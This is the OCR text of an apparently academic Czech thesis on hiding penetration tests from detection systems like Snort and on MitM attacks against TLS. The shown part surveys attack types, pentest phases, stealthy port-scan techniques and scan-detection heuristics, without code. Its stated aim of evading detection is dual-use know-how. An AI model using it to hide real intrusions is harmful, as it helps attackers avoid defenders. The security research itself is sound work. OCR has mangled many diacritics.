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Abstrakt

Tato préace se zabyva moznostmi skryvani penetracnich testu a utoku tak, aby
nebyly odhalitelné pomoci bézné pouzivanych detekénich systémui. Zkoumé
také moznosti napadeni zabezpecené komunikace pomoci Man in the Middle
utokl. Vytvorena a otestovana byla metodika pro ovéreni zabezpeceni Sifro-
vanych komunikaci mezi servery a aplikacemi mobilnich zafizeni ¢i pocitaca.
Byl vyvinut a otestovan nastroj na ovéreni spravného nastaveni zabezpecené
komunikace webovych serveru.

Klicova slova Penetracni testovani, Sifova bezpecnost, Snort, Behavioralni
analyza sité, Zabezpecend komunikace

Abstract

This thesis deals with possibilities to hide penetration tests and network at-
tacks to prevent their detection by commonly used detection systems. It also
explores possibilities of compromising secure communication using Man in the
Middle attacks. A methodology is discussed and tested to verify the security of
encrypted communications between servers and applications on mobile devices
or computers. An application was developed and tested to verify configuration
of secure communications of web servers.

Keywords Penetration Testing, Network Security, Snort, Network Behavior
Analysis, Secure Communication
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Uvod

Pocet zarizeni pripojenych k Internetu kazdym rokem stéle stoupa. V soucasné
dobé je mnozstvi téchto zarizeni odhadoviano na 15 miliard a podle odhadu
spolecnosti Cisco by jejich poc¢et mél do roku 2020 dosdhnout 50 miliard [I].
K Internetu jiz nejsou pripojeny jen pocitace a mobilni telefony, ale stéle
Castéji i rizna zarizeni jako domaci spotrebice, automobily, senzory a podobné.
V souvislosti s timto trendem se hovoii o Internetu véci (Internet of Things —
IoT), novéji dokonce o Internetu vseho (Internet of Everything — IoE) [2].

Stoupa také mnozstvi dat pristupnych po siti — napiiklad firemni ¢i sou-
kromé informace, videa, fotografie a dalsi. Roste také pocet rliznych systému
a aplikaci nejen pro osobni pocitace, ale v posledni dobé hlavné pro mobilni
zafizeni jako jsou chytré telefony, tablety a nejnovéji chytré hodinky [2]. To
vse pusobi jako lakadlo pro osoby, které chtéji pouzit své znalosti a schopnosti
v oblasti informaé¢nich technologii ke svému obohaceni (nebo i jen k zédbave)
nelegédlni cestou. Tito lidé pak podnikaji rtizné ttoky — pokusy o proniknuti
do chranénych siti a systému, pokusy o odcizeni osobnich ¢i firemnich dat a
citlivych informaci a riznou dalsi nelegilni ¢innost.

Mezi skody, které mohou ttocnici svou ¢innosti zptisobit patti:

e Ziskani divérnych informaci — vysledkem ttoku mize byt ziskani citli-
vych informaci firemniho ¢i soukromého charakteru — napriklad pristu-
pova hesla, firemni nebo soukromé informace a fotografie atd.

e Neopravnény pristup — utocnik ziskd pristup do zabezpecenych systémi,
kde dale hrozi zcizeni nebo modifikace internich informaci

e Nedostupnost sluzby — znepristupnéni néjaké sitové sluzby pomoci De-
nial of Service ttoku (DoS). Sluzba je zahlcena ttoénikovymi dotazy a
neni schopna odpovidat na legitimni pozadavky béznych uzivatela.



Uvob

Bezpecénostni nastroje

Se zvétsujicim se poctem sifovych ttoku vyvstava stdle vétsi potreba nasazeni
bezpec¢nostnich systémi, které budou schopny tyto itoky detekovat a pripadné
i proti nim rovnou chranit. Mezi zdkladni bezpec¢nostni systémy patii firewall,
antivirus a antimalware, detekéni systémy Intrusion Detection/Prevention Sys-
tems (IDS/IPS) a sitova behaviordlni analyza (NBA).

Kromé nasazovani bezpecnostnich systému je potieba vyvijet bezpecné
aplikace a systémy, které je nutno i po nasazeni do provozu dilkladné testovat.
V ptipadé objeveni jejich zranitelnosti je nutno provést co nejdiive opravu a
zajistit aktualizaci na klientskych zafizenich. Zranitelnost mtze byt odhalena
bud hackery, nebo v lepsim piipadé piimo vyvojari ¢i testery. Pro testovani
sitové zranitelnosti se pouzivaji penetracni testy [3].

Penetracni test je specificky technicky audit, ktery simuluje pohled itoc-
nika na potencionalni cil atoku. Na rozdil od ttoku se vsak nesnazi cil posko-
dit, nebo pozmeénit ¢i zcizit data. Mél by byt provadén vyhradné se souhlasem
testované strany. Tyto testy mohou upozornit na bezpecnostni slabiny testo-
vanych systémiu diive, nez tyto zranitelnosti odhali nékdo cizi a tim umoznit
vyvojarim a spravcim prijmout potiebnd opatreni k jejich zabezpeceni.

Bezpecnostni systémy detekujici itoky zaroven detekuji i penetracni testy,
jelikoz jsou si s utoky velmi podobné. Pokud by jejich detekce nebyla mozn4,
umoznovalo by to itocéniklim provadét nerusené utoky bez obavy z pripadného
odhaleni.

Zabezpecena komunikace

Puvodni komunikacni protokoly nepouzivaly zadné zabezpeceni ani Sifrovani
komunikace. Vznikaly totiz v dobé, kdy mezi sebou bylo propojeno jen velmi
malo pocitact na akademické pudé a nikdo si v té dobé neumél predstavit ja-
kym zptsobem se jejich budovana sit rozroste za par desitek let. Zabezpeceni
sitové komunikace se pak vétsinou fesilo nadstavbou nad existujicimi proto-
koly [4]. V soucasné dobé se nejcastéji vyuzivd SSL a TLS protokolu, které
sifruji nezabezpecené protokoly jako jsou napiiklad HTTP a SMTP.

Je vsak komunikace pres tyto protokoly skutecné bezpecna? Existuje vice
utokt, kterymi lze ziskat informace ze Sifrované komunikace. Jednim z téchto
zpusobu je presmérovani provozu na uto¢nika (Man in the Middle ttok —
MitM) a podvrzeni certifikdtu. Pak jiz zalezi na konkrétni aplikaci, jestli upo-
zorni uzivatele, ze s certifikdtem serveru neni néco v poradku, a na samotném
uzivateli, jestli bude na dané upozornéni reagovat a spojeni ukondéi diive, nez
pres néj zacne odesilat duvérné informace — napriklad svoje pristupové tudaje.
Tento zpusob je obzvlast nebezpecény pro mobilni zarizeni, ktera se pripojuji
pres ruzné verejné pristupové body a uzivatelé spoléhaji pravé na komunikaci
zabezpecenou SSL nebo TLS protokolem [4].
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Cil prace

Cilem této prace je prozkoumani a otestovani moznosti zamezeni detekce pe-
netracnich testil a sitovych ttokd detekénimi systémy typu Snort. Bude testo-
vano co nejvice zptuisobt, jak provadét penetracni testy tak, aby nebyly snadno
nebo v idedlnim pripadé viibec odhalitelné pomoci bézné dostupnych deteké-
nich nastroju. Do téchto zpusobi bude zaclenéna randomizace ruznych para-
metri pro ztizeni moznosti detekce a analyzovana jeji vhodnost pro pouziti
pri penetra¢nim testovani.

Ve druhé ¢ésti prace budou provadény testy zabezpeceni komunikace po-
moci protokolu SSL/TLS. Cilem této ¢éasti je otestovat moznosti napadeni
zabezpecené komunikace pomoci MitM ttokt. Budou testovany nejen apli-
kace jako webové prohlizece a e-mailovi klienti, ale také aplikace pro mobilni
telefony. Pravé u nich je ocekavana nizsi mira zabezpeceni a tim vétsi moznost
jejich zneuziti. Tyto utoky by mély odhalit, jak jsou jednotlivé aplikace pri-
praveny na moznost podvrzeni bezpecnostniho certifikatu a jakou bezpec¢nost
poskytuji svym uzivateltim.

Finalni ¢asti této prace je vyvoj nastroje, ktery pomoci riznych testi po-
skytne souhrn podstatnych informaci o podpore zabezpecené komunikace na
strané webovych servert a odhali jejich potenciondlni slabiny.






KAPITOLA 1

Analyza

1.1 Sitfova bezpecnost

Sitova bezpecnost predstavuje souhrn vsech dostupnych prostiedkt pro ochranu
dat béhem jejich prenosu po siti a ochranu pocitacu a dalSich zarizeni pfipoje-
nych do pocitacové sité. Méla byt chapana jako neustaly proces, jehoz snahou
je dosazeni uspokojivého zabezpeceni pocitacové sité. To znamend dosazeni
takového stavu, kdy je v systémech pripojenych po sité minimdalni (idedlné
nulové) mnozstvi potenciondlnich zranitelnosti.

Zranitelnost (vulnerability) je slabina, kterd umozni napadeni systému
nebo aplikace. Pravé téchto zranitelnosti vyuzivaji Gtocnici k napadeni ci-
lovych systémi. Penetracni testy se snazi tyto zranitelnosti odhalovat a tim
davat vyvojartm cas k jejich odstranéni diive, nez by mohlo dojit k jejich
zneuziti.

1.2 Sitové utoky

Sitové utoky se snazi vyuzit slabych mist operac¢niho systému a dalstho soft-
waru, systémového ¢i jiného, ktery je nainstalovan na vzdaleném pocitaci.
Utoc¢nik tak nepotfebuje fyzicky pristup k zarizeni, na které provadi utok.

1.2.1 Typy sitovych atoku
Znamé sitové utoky lze rozdélit do téchto hlavnich skupin [3]:
e Port scanning — skenovani portu neni piimo utok, ale spiSe zjistovani

cila (zivych IP adres a jejich otevienych portii), na které bude nésledné
cilen dalsi atok. Podle typu je délime na horizontalni a vertikalni.

— horizontélni skenovani (port sweep) testuje jeden konkrétni port na
velkém mnozstvi IP adres
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— vertikdlni skenovani (port scan) hleda oteviené porty na jedné IP
adrese

e Man-it-the-Middle toky — snaha ttocnika o presmérovani sitového

provozu mezi zdrojem a cilem pres svij vlastni (nebo jim ovliddany)
pocita¢, na kterém pak bude moci dany provoz sledovat.

— ARP spoofing — podvrzeni MAC adresy pomoci ARP protokolu.
Utocnik se vydava za jiny pocita¢ na lokalni siti.
— DHCP spoofing — zprovoznéni vlastntho DHCP serveru v lokalni

siti, distribuce falesnych tdaju (IP adresa vychozi brany, nebo DNS
serveru) pro presmérovani a nasledny odposlech komunikace

Denial of Serice (DoS/DDoS) — ttok na sluzbu s cilem jejtho znepri-
stupnéni zahlcenim. Pro vétsi i¢innost a snizeni moznosti obrany byva
tento utok Casto distribuovany (tto¢nik vyuziva vice jim ovladanych po-
¢itact ke smérovani ttoku na jeden cil)

TCP SYN flood

smufr attack

DHCP

— Botnets

— IP Spoofing (TCP packet bounce)

SQL Injection — ttok spocivd ve vloZzeni (vsunuti) specidlniho SQL
dotazu pres nedostatecné osetfeny vstup (napiiklad formuldr webové
aplikace). Takovyto uspésné vsunuty dotaz dokéze ¢ist, modifikovat ¢i
smazat data v databdazi, nebo i spustit administrativni operace nad da-
tabazi.

Sitové utoky déale mizeme délit podle sméru jejich pfichodu na externi

a interni.

e Externi utoky jsou podnikdny dtocniky z vnéjsi sité (obvykle Inter-

netu) smérem do lokalni sité. Jednd se o skenovani porti, DoS ttok,
prolamovani hesel pro pristup do systémii apod. Jejich detekce a obrana
proti nim se provadi bézné s vyuzitim pravidel na firewallu, detekci na
IDS/IPS zafizenich a behavioralni analyzou.

Interni Gtoky prichazeji z interni sité a jsou smérovany primo na interni
systémy. Nékdy jsou iniciovany primo vlastnimi zaméstnanci spolecnosti
(nespokojenymi, pripadné uplacenymi konkurenci). Mohou je také pro-
tovanych pocitact podnikat itoky na dalsi pocitace a servery v interni
siti, které jinak nejsou dostupné v Internetu. Odhalen{ téchto utoku je
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vvvvvv

nici interni sité a provoz v interni siti vétSinou jiz nebyva tak dikladné
monitorovan. Nicméneé i zde lze velice G¢inné pouzit behavioralni sitovou
analyzu [5].

1.3 Nastroje sitové bezpecnosti

Na obranu proti sitovym ttokiim se pouzivaji rizné nastroje. Historicky prv-
nim byl ziejmé firewall, pak Intruder Detection Systems (IDS), Intruder Pre-
vention Systems (IPS) a nejnovéjsim nastrojem je behaviordlni sitova analyza
(Network Behavior Analysis, NBA).

1.3.1 Firewall

Firewall je zakladni bezpecnostni prvek, ktery oddéluje vnitini sit od Inter-
netu a tim chrani zafizeni na vnitini siti pred vnéjsimi ttoky. Umoznuje také
vytvareni demilitarizovanych zén (DMZ), coz jsou oddélené sité mezi vnitini a
vnéjsi siti — detail na obr. Do DMZ pak byvaji umistovana zatizeni, kterd
z bezpecnostnich divodi neni vhodné umistovat do vnitini sité — napiiklad
webové servery pro pristup z Internetu, SMTP a proxy servery. Konfigurace
firewallu obsahuje seznam pravidel (nazyvany také politika), ktera urcuji jaky
provoz méa byt povolen a jaky naopak zakézan. Provoz je specifikovan zdrojo-
vou adresou, cilovou adresou a typem (cilovym portem). Firewall pak podle
téchto pravidel filtruje provoz a provadi preklad IP adres pri prichodu pakettu
jeho rozhranim.

Firewall muze byt instalovan jako samostatny sitovy prvek (hardware ap-
pliance), nebo jako software na osobnim po¢itaci ¢i serveru (host-based). Muze
byt umistén i ve vnitini siti a oddélovat provoz mezi virtualnimi sitémi v rameci
jedné rozsahlé sité (napiiklad oddélovat osobni poéitace zaméstnancu od vir-
tudlni sité se servery).

Piikladem firewallu jako samostatného zafizeni je naptiklad Cisco ASA a
Checkpoint FireWall-1, softwarovy firewall je tfeba iptables, Kerio Control,
ZoneAlarm a dalsi.

1.3.2 IDS/IPS

IDS jsou detekéni systémy, které piimo monitoruji provoz v siti a snazi se od-
halovat potencionalné nebezpecné aktivity. Ke své ¢innosti vyuzivaji databazi
urcitych vzoru (signatur), pomoci nichz detekuji pfipadny nebezpeény ¢i neza-
douci provoz na siti. Tyto signatury musi byt nejdiive vyrobeny pro kazdy typ
utoku lidskymi specialisty z oboru sitové bezpecnosti, zarazeny do databéaze
a néjakym zpusobem doruceny na IDS/IPS zafizeni. Az teprve potom mohou
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Trusted

Metwork DMZ Servers

DMZ
Firewall

Perimeter
Firewall

Untrusted
Metwork

Obrazek 1.1: Demilitarizovana zéna, prevzato z [6]

tato zarizeni na dany typ utoku reagovat. Tento zpusob vsak nemuze chranit
pred novymi typy utoku ¢i vira (zero day attacks).

IPS jsou rozsitenim IDS systému o moznost spolupréace s ostatnimi bezpec-
nostnimi prvky v siti, hlavné pak s firewallem (na pfimo nebo pres Security In-
formation and Event Management — SIEM). Pti odhaleni itoku mohou pfimo
informovat firewall, ktery ihned ptislusnou komunikaci zablokuje a zabrani
pokracovani utoku. V pripadé IDS by musel byt informovan administrator fi-
rewallu a ten by pak provedl manudalni aktualizaci pravidel na firewallu pro
zablokovani podezielé komunikace.

Prikladem IDS/IPS systému je naptiklad Snort nebo SourceFire.

1.3.3 Behavioralni analyza

Behavioralni sitova analyza (NBA) slouzi k odhalovani sitovych anomélii a
utoku na zakladé idaji o tocich na siti. Snazi se detekovat nestandardni prvky
v chovani sitového provozu a méla by byt schopna v redlném case detekovat
rizikovou komunikaci v sledované siti, i kdyz pro tuto komunikaci dosud nee-
xistuje zadna signatura.

NBA je pasivni metoda, ktera sama nezabranuje atoktim. Pouze se je snazi
sofistikovanym zptisobem odhalovat. Anomalie detekuje porovndvanim aktu-
alnfho chovani s naucenym profilem a sbird statistiky o provozu na siti. Ve
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spolupréci s proxy serverem umoznuje presné identifikovat na jaké weby pri-
stupuji uzivatelé z interni sité.

NBA muze pomahat chrénit nejen pred itoky z venkovni sité, ale napiiklad
také odhalovat rizikovy provoz sméfujici z vnitini sité do Internetu. Typickym
prikladem miize byt situace, kdy pocitac¢ na lokalni siti, infikovany trojskym
koném, rozesild nevyzddanou postu (Spam). Sitovy operatori pak mohou za-
blokovat e-mailovou komunikaci z celé firemni domény, nebo i vSechen sitovy
provoz z IP adres firmy. To mutze pro dotc¢enou spole¢nost znamenat mimo jiné
i velké financ¢ni ztraty. S pomoci NBA lze takovyto provoz véas odhalit a pod-
niknout potrebnd opatieni diive, nez infikovany pocita¢ (pocitace) zapric¢ini
zablokovani celé firemni domény.

Prikladem behavioralni sitové analyzy je napiiklad FlowMon a QRadar.

1.4 Penetracni testy

Penetracni test simuluje chovani ito¢nika na siti. Jeho cilem je odhaleni zrani-
telnosti testovanych systémil a aplikaci, nebo i samotné sitové infrastruktury.
Meél by byt provadén cilené a legitimné se souhlasem vlastnika systému, bez
hrozby poskozeni ¢i ztraty dat. Penetracni testy jsou dilezitou soucasti bez-
pecnostni analyzy [7]. Vysledkem téchto testu by méla byt kromé reportu
o zranitelnostech také doporuceni pro odstranéni nalezenych slabin. Pii pene-
tracnich testech jsou predevsim provadény nasledujici zkousky [7]:

e Firewally — Dos ttoky, zmény smérovani, zranitelnost

e Backdoory — programy umoznujici ziskani kontroly nad pocitacem
e CGI scripty — ziskani plné kontroly www nad serverem

e DNS systémy — predstirani identity sitového zarizeni

e e-mailové systémy — spam

e FTP systémy — neautorizovany pristup k souborovému systému a pre-
vzeti kontroly nad serverem

e LDAP systémy — zneuziti adresarové sluzby LDAP

e sitové odposlouchdvani — Spatnd konfigurace aktivnich prvki ¢i nevhodny
design infrastruktury umozni siftové odposlouchavani

e NFS systémy — neautorizovany pristup k souborovému systému a pfe-
vzeti kontroly nad serverem (Network File System)

e systémy zalozené na RPC — vzdélené voldni procedur (Remote Procedure

Call)
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e systémy se sdilenim zdroju — ziskdni neautorizovaného pristupu (Samba,

SMB)

e SNMP systémy — bezpecnostni diry v implementaci Simple Network
Management Protokolu v aktivnich prvcich sité

1.4.1 Typy penetracnich testi

Penetraéni testy mizeme rozdélovat stejné jako utoky — podle sméru, ze kte-
rého jsou provadény [3]. Vnéjsi testy simuluji utoky z vnéjsi sité (obvykle pres
firewall) na servery v DMZ, nebo i pfimo do interni sité. Vnitini testy jsou
provadéné na lokalni siti. Simuluji ttoky bud samotnych zaméstnancii, nebo
néné zdroje ve vnitini siti.

Dalsi déleni penetracnich testt mtze byt na zakladé znalosti o cilovém
systému (nebo prostiedi) [3]. Otevieny test (white box) — test se znalosti a
pristupem do testovaného systému. Tento test je vhodny pro cilené a detailni
testovani konkrétniho systému, u kterého je pozadovana maximéalni odolnost
proti utokum — maximdlni zabezpeceni. Slepy test (black box) je test bez
znalosti a pristupu do testovaného systému. Je vhodnéjsi pro obecné testovani
zranitelnosti.

1.4.2 Faze penetracniho testovani

Aby byl penetrac¢ni test uspésny a prinosny, je dilezité ho predem naplanovat —
urc¢it postup a jednotlivé kroky dukladné promyslet. Postup testovani muzeme
napriklad rozdélit do nésledujicich fazi [3]:

Reconnaissance
Pruzkum — urceni cile, sbirani informaci o cili (seznam IP adres, e-
mailové adresy atd.).

Scanning
Skenovani portl, skenovani zranitelnosti.

Exploitation
Utok na cil, prinik do systému.

Post Exploitation and Maintaining Access
Zabezpeceni trvalého pristupu, shromézdéni dikazl, reporting.

Pokud porovname vyse uvedeny seznam fazi penetracniho testovani s fa-
zemi datoku na obr. (hacking phases), muzeme vidét znac¢nou podobnost.
Prvni étyfi faze jsou v podstaté stejné. Utoénici viak na zaver pridavaji jeste
fazi uklidu (zameteni stop) proto, aby nemohli byt odhaleni [3]. Tato faze vsak
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Reconnaisance

Maitaining
Access

Obrazek 1.2: Five phases of hacking, prevzato z [§]

u legitimnich penetracnich test neni nutna, nebot ptivodce testl je znam a
vétsinou neni divod skryvat jeho identitu.

Jelikoz nékdy neni mozné dostat se hned napoprvé az k cili, vyuziva se
k pristupu jednoho ¢&i vice prostredniku. Nejdiiv tireba ziskdme pristup do
néjakého pocitace na Internetu. Z néj se dostaneme na server v DMZ a z néj
uz primo na cilovy pocita¢ v interni siti. Postupné se priblizujeme k cili tak,
ze na jednotlivé prvky na cesté pouzivame dokola cely proces ttoku (vSechny
faze). Tomuto opakovani fazi se Tikd pivoting. Pivoting byva vyuzivin spise
atocniky, pri penetracnim testovani se obvykle nepouziva.

1.4.2.1 Reconnaissance

V této fazi je dulezité ziskat co nejvice informaci o cili itoku (penetraéniho
testu). Postupuje se od obecnych informaci k podrobnym. K ziskani informaci

11
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lze vyuzit veskeré dostupné prostiedky — hlavné vyhledavaci sluzby na Inter-
netu. Velmi G¢inny zdrojem informaci jsou také lidé — pfedevsim zaméstnanci
firmy, na kterou je utok cilen. K ziskani internich informaci se pouziva social-
niho inzenyrstvi [9]. Utoénik napiiklad predstira, Ze je zaméstnancem firmy, a
snazi se ziskat néjaké informace od skutecnych zaméstnancti. Pokud je dobie
pripraven (znéd jména manageri, strukturu spoleénosti, aktualni projekty nebo
nazvy serverii), byva jeho tspésnost vysoka.

Existuje velké mnozstvi nastroji, které umoznuji ziskdvat informace. Jsou
to naptiklad obecné internetové vyhledavace jako Google a Bing, nebo speci-
alizované — Whols, Network-Tools. Déle rizné nastroje piikazové radky jako
nslookup, host, dig, traceroute a dalsi [3].

Piiklad zjistovani informaci s vyuzitim internetového vyhledévace:
e 7Zjisténi jména spolecnosti.

e Vyhledani e-mailovych adres s koncovkou se jménem spolecnosti.

Vyhledéni konkrétnich e-maili.

Zjisténi IP adresy postovniho serveru, ze kterého e-mail odesel.

Podle IP adresy serveru odhaleni adresniho rozsahu spole¢nosti.

e Skenovani celého adresniho rozsahu.

1.4.2.2 Scanning

V prvni fazi bylo dilezité ziskat konkrétni IP adresy (nebo cely rozsah TP
adres) potenciondlnich cili. Druhd faze méa za 1kol ziskat informace o sluzbach
bézicich na cilovych zatizenich (adresdch). Sluzby se daji obvykle identifikovat
podle ¢isla portl, na kterém naslouchaji prichozi komunikaci.

Nejdrive se zjistuje, jestli je konkrétni IP adresa aktivni — jestli odpovida
na ping (ICMP request paket). Poté se provadi skenovani porta napiiklad
nastrojem Nmap [10]. Déle je mozné vyuzit Nmap Scripting Engine (NSE)
k ziskani vice informaci o cili — jako napriklad typ operacniho systému, pod-
porované verze SSL/TLS, blizsi informace o SIP a mnoho dalsich. NSE jsou
vlastné odladéné specifické scripty pro blizsi skenovani konkrétni sluzby nebo
i vice sluzeb najednou [3].

Poslednim krokem v této fazi je skenovani zranitelnosti (vulnerability scan-
ning). Je to vlastné proces, ve kterém zjistujeme pritomnost zranitelnosti
u jednotlivych sluzeb, které jsme jiz odhalili v predchozich krocich.

1.4.2.3 Exploitation

Tato faze spociva ve snaze ziskat kontrolu nad konkrétnim systémem. Zpi-
sobu ovlddnuti systému je mnoho, ale jejich cilem je vzdy umoznit atocnikovi
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provadét na systému operace, jez by nemél mit povoleny. Napriklad spous-
tét systémové ¢i databazové ptikazy, stahovat ¢i pozménovat data na systému
a podobné. Asi nejzndméjsim nastrojem je Metasploit [3].

1.4.2.4 Post Exploitation

V konecné fazi je dtlezité shromazdit vsechny dikazy o nalezenych zrani-
telnostech testovanych systémi a zajistit jejich prokazatelnost, tak aby bylo
mozné podat zdkaznikovi duvéryhodné informace (report) o zranitelnostech
v jeho systémech.

Prokazani zranitelnost{ je mozné provést napiiklad instalaci zadnich vra-
tek (backdoor) do testovaného systému, kterd nadm pozdéji umozni snadny
pristup do zdanlivé zabezpeceného systému. Je vSak velmi duilezité dbat na
bezpecnost takto provadénych operaci, aby nedoslo k poskozeni testovaného
systému a nebo ke zneuziti zadnich vratek treti osobou.

Soucasti reportu by také mél byt seznam doporuceni, kterda by méla vést
k odstranéni nalezenych bezpecnostnich zranitelnosti a jinych slabin.

Po dokonceni penetrac¢nich testti a predani reportu by samoziejmé méla
byt odstranéna vsechna instalovand zadni vratka a jiné nastroje pouzité béhem
penetrac¢niho testovani.

1.4.3 Nastroje pro penetracni testovani

Pro penetracni testovani byla vyvinuta rada programt — at ji komercnich,
nebo open-source. Kromé samotnych testovacich nastroji jsou dostupné i pe-
netracni cile, které slouzi k otestovani a provéreni moznosti a schopnosti pe-
netracnich nastroju (at jiz cizich, nebo vlastnich pravé vyvijenych).

1.4.3.1 Penetracni aplikace

Mezi nejznaméjsi a nejvice pouzivané nastroje pro penetracni testovani patri:

e OWASP ZAP (Zed Attack Proxy)

e Nessus

Metasploit

OpenVAS

Sqlmap

Maltego
Specialni linuxové distribuce Kali a Backtrack jsou pfimo spustitelné sys-

témy s velkym mnozstvim predinstalovanych open-source aplikaci pocitacové
bezpecnosti. Jejich velkou vyhodou je rychlost a bezpec¢nost nasazeni. Neni
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potieba instalovat specidlni programy a casto ani konfigurovat. Stac¢i systém
spustit z pripojeného média (DVD, USB Flash), nebo jako virtuélni stroj z pti-
praveného obrazu (image), a ihned muzeme pouzivat obsazené bezpecnostni
nastroje.

1.4.3.2 Penetracni cile

Pro vyvoj penetracnich néastroju vznikly webové aplikace, které zamérné ob-
sahuji velké mnozstvi zndmych zranitelnosti. Diky nim je mozné bezpecné
testovat penetracni nastroje legalné a bez obav, ze by pri testovani mohlo do-
jit k poskozeni cili penetrac¢nich testi. Tyto aplikace také slouzi k pochopeni
procesti zabezpeceni webovych aplikaci. Mezi nejznaméjsi nastroje patii:

e Damn Vulnerable Web App (DVWA) — PHP/MySQL webova apli-
kace obsahujici 10 nejvétsich webovych zranitelnosti pode OWASP [11]:

SQL Injection
— Cross-Site Scripting

— Broken Authentication and Session Management

Insecure Direct Object References

Cross-Site Request Forgery

— Security Misconfiguration

Insecure Cryptographic Storage
Failure to Restrict URL Access

— Insufficient Transport Layer Protection

— Unvalidated Redirects and Forwards

e Bodgelt Store — webova aplikace fiktivniho internetového obchodu
obsahujici rizné zranitelnosti [12]:

Cross-Site Scripting
— SQL injection

Hidden (but unprotected) content

Cross-Site Request Forgery

Debug code

— Insecure Object References

Application logic vulnerabilities
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1.4.4 MozZnosti skenovani portua

Skenovani portt je technika umoznujici zjistit, které porty na cilovém zatizeni
jsou oteviené a které ne. Na otevienych portech jsou umistény sifové sluzby,
které ¢ekaji na spojeni (pfipojeni klienta). Podle ¢isla porti se dd obvykle
odhadnou, jaky typ aplikace (jakéd sluzba) je na zafizeni spusténa. Napiiklad
na portu 80 ocekdvame HTTP sluzbu, na portu 22 sluzbu SSH a podobné.
Vyuziti prvnich 1024 portii je standardizovano spolecnosti TANA a oznacuji
se jako well-known-ports [I3]. Vyssi ¢isla porti byvaji nékdy také registrovana
u spole¢nosti TANA pro konkrétni aplikace. Pro skenovani porti muzeme vy-
uzit nasledujici metody [10]:

e TCP connect scanning je zakladni forma skenovani — klasické nava-
zan{ TCP spojeni. Scanner posila SYN paket a podle odpovédi pozna,
zda-li je testovany port otevieny nebo zavieny. Pokud cil odpovi SYN-
ACK, je dany port otevieny. Scanner potom dokoné¢i cely TCP Hand-
shake — znézornéno na obr. V opa¢ném piipadé (uzavieny port) cil
odpovida paketem RST.

SYN

SYN/ACK

ACK

Obréazek 1.3: Tricestny handshake, prevzato z [14]

e TCP SYN scanning otevird spojeni jen napul (half-connect). Scan-
ner odesle SYN paket a pri prijeti odpovédi SYN/ACK uz neodpovi.
Server pak ¢ekd na paket ACK — obr. [[.4 Scanner muze také spojeni
hned uzaviit paketem RST. Tento typ skenovani je rychlejsi nez TCP
connect, protoze po prijeti paketu SYN/ACK nebo RST jiz nedokoné¢uje
korektné celé spojeni a muze pokracovat v dalsim skenovani. Nékterymi
aplikacemi kvuli nedokon¢enému spojeni neni ani zaznamenavan do logu.

e TCP FIN scanning je vhodny pti skenovani z vnéjsi sité pres firewall,
ktery obvykle zablokuje SYN pakety pro nepovolenou komunikaci. FIN
pakety mohou prochazet firewallem, ktery se miize domnivat, ze se jedna
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SYN

SYN/ACK

*

no ACK - Hos..)t waits

Obréazek 1.4: Half-open scan, prevzato z [14]

o0 jiz navdzanou komunikaci (zdlez na typu firewallu). Uzaviené porty
pak odpovidaji na FIN pakety paketem RST. Otevrené porty nekorektni
FIN paket zahodi a neodpovidaji. Umozni zjistit jen uzaviené porty, ale
to dava prostor soustiedit dalsi Gtoky jen na ty ostatni porty (které by
mohly byt oteviené).

e TCP ACK scanning je vhodny pro zjistovani je-li port filtrovany nebo
nefiltrovany. Hodi se k zjistovani nastaveni firewallu.

e X-mas scanning posila pakety s priznaky FIN, PSH a URG. Odpoveédi
by mél byt RST paket pro vsechny uzaviené porty. Nékteré systémy vsak
na tento typ paketu tmyslné odpovidaji RST paketem i na otevienych
portech.

e TCP Null scanning posila TCP paket bez nastavenych priznakt. Opét
by odpovédi z uzavienych porti mél byt RST paket.

e UDP scanning slouzi ke skenovani UDP portti. Odesila UDP paket,
na ktery muze (ale nemusi) prijit ICMP odpovéd z uzavienych porti.
Nedokéze urcit presné oteviené porty, ale muze odhalit porty uzaviené
a ty se pak daji vyloucit z dalsiho testovani.

1.4.5 Nastroje pro skenovani portu
1.4.5.1 Nmap

Nmap je nejznaméjsi open-source nastroj pro skenovani. Obsahuje velké mnoz-
stvi technik skenovani a je Siroce a snadno pouzitelny. Jeho nevyhodou mize
byt to, ze vzhledem k jeho velké (d& se fici i dominantni) rozsifenosti byvaji
detekéni systémy primo optimalizovany pro jeho odhalovani — jako tomu je
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napiiklad u néstroje Snort [I5]. To vsak nesnizuje jeho uc¢innost, ale napii-
klad moznost jeho pouziti v této praci pro skryvani penetracnich testu se tim
vyloucila, coz bude vice popsano v kapitole realizace.

1.4.5.2 NetCat
NetCat (nc), ktery byva nazyvan Svycarskym armadnim nozem pro TCP/IP
[16], je velice uziteény sitovy nastroj pro ¢teni a zapis dat pres sitového spojeni
(pres TCP a UDP protokol). Je navrzen tak, aby mohl byt snadno vyuzivan
ve scriptech, ¢i volan jinymi programy.
Mezi jeho hlavni vlastnosti patii [16]:

e Odchozi TCP nebo UDP spojeni, na jakyhokoliv port

e Naslouchani TCP nebo UDP spojeni, na jakémkoliv portu

Schopnost pouzit jakykoliv lokdlni zdrojovy port

Schopnost pouzit jakoukoliv lokalné nastavenou IP adresu

Skenovani portt s moznosti ndhodného vybéru portu

Cten{ parametrtl piikazové fadky se standardniho vstupu

Pomalé odesilédni, jedna rddka kazdych N sekund

Hexadecimalni vypis prijatych nebo odeslanych dat

1.5 Detekce sitovych ttoka a penetrac¢nich testu

Pro detekei sitovych ttoku se vyuzivaji IDS/IPS sondy a behavioralni analyza.
Tyto néstroje kromé tutokt detekuji také penetracni testy, nebot se z jejich
pohledu jevi jako tutoky.

1.5.1 Detekce skenovani portt

Detekci skenovani portu je mozné provadét na zakladé poctu urcitého druhu

paketi zachycenych na siti, naptiklad [17]:

e pocty RST odpovédi na zdrojové adresy — detekce na uzavienych portech

e rozdil mezi SYN-in a SYN-out pro jednotlivé IP adresy (vzorec [1.1))

NP

closed

= SY Ninip — SY Nourip (1.1)
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e pocet SYN-AKC paketti, které nejsou nasledovany odpovédi ACK — de-
tekce half-connect skenovani na otevrenych portech

e rozdil mezi FIN pakety — detekce TCP FIN skenii (vzorec [1.2))

NE = FINipip — FINut.ip (1.2)

Jako utok pak lze oznacit vyskyt vétsiho poctu danych paketii nez je na-
stavena mezni hodnota béhem urcitého ¢asového okna. Takovato jednoduchd
klasifikace vsak miuze vést k velkému mnozstvi faleSnych poplachi. Proto je
vhodnéjsi pouzit néjaké sofistikované metody vychézejici z modelu bézného
chovani uzivateli na siti (a provozu béznych sitovych sluzeb) a jako utoky
vyhodnocovat anomaélie v siftovém provozu. Prvni variantu vyuzivaji IDS sys-
témy, druhd je spiSe doménou sitové behaviordlni analyzy (NBA systémi).

1.5.2 Detekce lokalnich MitM ttoku

